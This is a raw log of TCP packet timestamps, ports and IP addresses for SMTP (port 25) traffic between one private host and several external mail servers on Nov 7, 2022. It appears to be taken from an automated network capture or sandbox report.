Nov 7, 2022 22:24:36.284059048 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:36.284327984 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.338120937 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:36.371572971 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:36.435493946 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:36.543477058 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.545356035 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.606807947 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606842995 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606861115 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606890917 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606909037 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606924057 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606940031 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606956005 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606971979 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606987000 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.606997967 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607032061 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607063055 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607079029 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607096910 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607104063 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607110023 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607129097 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607144117 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607148886 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.607177019 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607177019 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607203007 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.607245922 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.907716036 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.907749891 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.907937050 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.960845947 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.961031914 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:36.962491035 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:36.967480898 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:36.969443083 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969504118 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969541073 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969573021 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969605923 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969616890 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969616890 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969639063 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969671965 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969686985 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969706059 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969736099 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969738007 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969753981 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969770908 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969774008 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969799995 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969804049 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969820023 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969835997 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969847918 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969870090 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969886065 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969902992 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969918966 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969937086 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969952106 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.969973087 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.969988108 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970005035 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970021963 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970037937 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970053911 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970071077 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970083952 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970103979 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970112085 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970136881 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970169067 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970201015 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970210075 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970210075 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970233917 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970247984 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970267057 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970282078 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970302105 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970309973 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970335960 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970345974 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970369101 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970375061 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970401049 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970432043 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970460892 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970464945 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970494986 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970496893 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970516920 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970529079 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970547915 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970561028 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970582008 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970593929 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970609903 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970626116 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:36.970635891 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.970666885 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:36.995963097 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:36.996133089 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:37.014947891 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021408081 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021456957 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021476030 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021493912 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021512032 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021588087 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021609068 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021714926 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021728992 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.021733999 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021812916 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.021812916 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.021837950 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.021925926 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.021987915 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.038835049 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:37.075700045 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075740099 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075754881 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075766087 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075778961 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075798988 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075817108 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075834990 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075840950 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075850964 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075840950 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075881004 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075897932 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075918913 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075932026 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075932026 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075937033 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075954914 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075967073 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075967073 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.075973988 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075987101 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.075999022 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.076011896 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.076019049 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.076030016 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.076047897 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.076073885 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.076103926 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.076103926 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.104877949 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:37.123023987 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:37.129779100 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129818916 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129838943 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129858017 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129874945 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129890919 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129908085 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129925966 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129937887 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129950047 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129961014 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129972935 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.129976034 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.129992008 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130012035 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130029917 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130062103 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130110025 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130122900 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130142927 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130146027 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130161047 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130168915 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130181074 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130199909 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130202055 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130213022 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130218029 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130233049 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130250931 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130258083 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130261898 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130279064 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130300045 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130302906 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130316973 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130336046 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130336046 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130362988 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130394936 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130398989 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130419016 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130439997 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130453110 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130481958 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130522013 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130523920 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130542994 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130559921 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130577087 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130594969 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130605936 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130605936 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130645037 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.130671978 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130688906 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130702019 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.130784035 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.183826923 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.183944941 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.183974028 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184020042 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184046984 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184070110 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184135914 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184169054 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184247971 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184293985 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184309006 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184322119 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184329033 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184336901 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184370041 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184381962 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184493065 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184550047 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184583902 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184597969 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184609890 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184623957 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184674978 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184686899 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184699059 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184711933 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184722900 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184722900 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184722900 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184762001 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184792995 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184839010 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184850931 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184859037 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184870958 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184881926 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184894085 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184901953 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184932947 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184935093 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184935093 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184945107 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.184982061 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.184982061 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185034990 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185046911 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185055017 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185062885 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185074091 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185086012 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185117960 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185129881 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185129881 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185158968 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185158968 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185183048 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185183048 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185194969 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185198069 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185208082 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185220003 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185225010 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185275078 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185426950 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185444117 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185461044 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185477972 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185493946 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185507059 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185509920 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185527086 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185543060 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185548067 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185555935 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185568094 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185573101 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185581923 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185594082 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185612917 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185625076 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185632944 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185636997 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185651064 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185659885 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:37.185666084 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185683012 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185698032 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185713053 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185728073 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185744047 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185758114 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185806990 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185822964 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185838938 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185911894 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185930014 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185946941 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.185964108 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186009884 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186027050 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186042070 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186084986 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186129093 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186146975 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.186213970 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.232429028 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:37.237835884 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.237883091 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.237910986 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.237941027 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.237971067 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238001108 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238029003 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238056898 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238084078 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238111973 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238140106 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238168955 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238198996 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238225937 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238254070 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238388062 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238436937 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238468885 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238497019 CET	25	49771	142.250.150.27	192.168.2.5
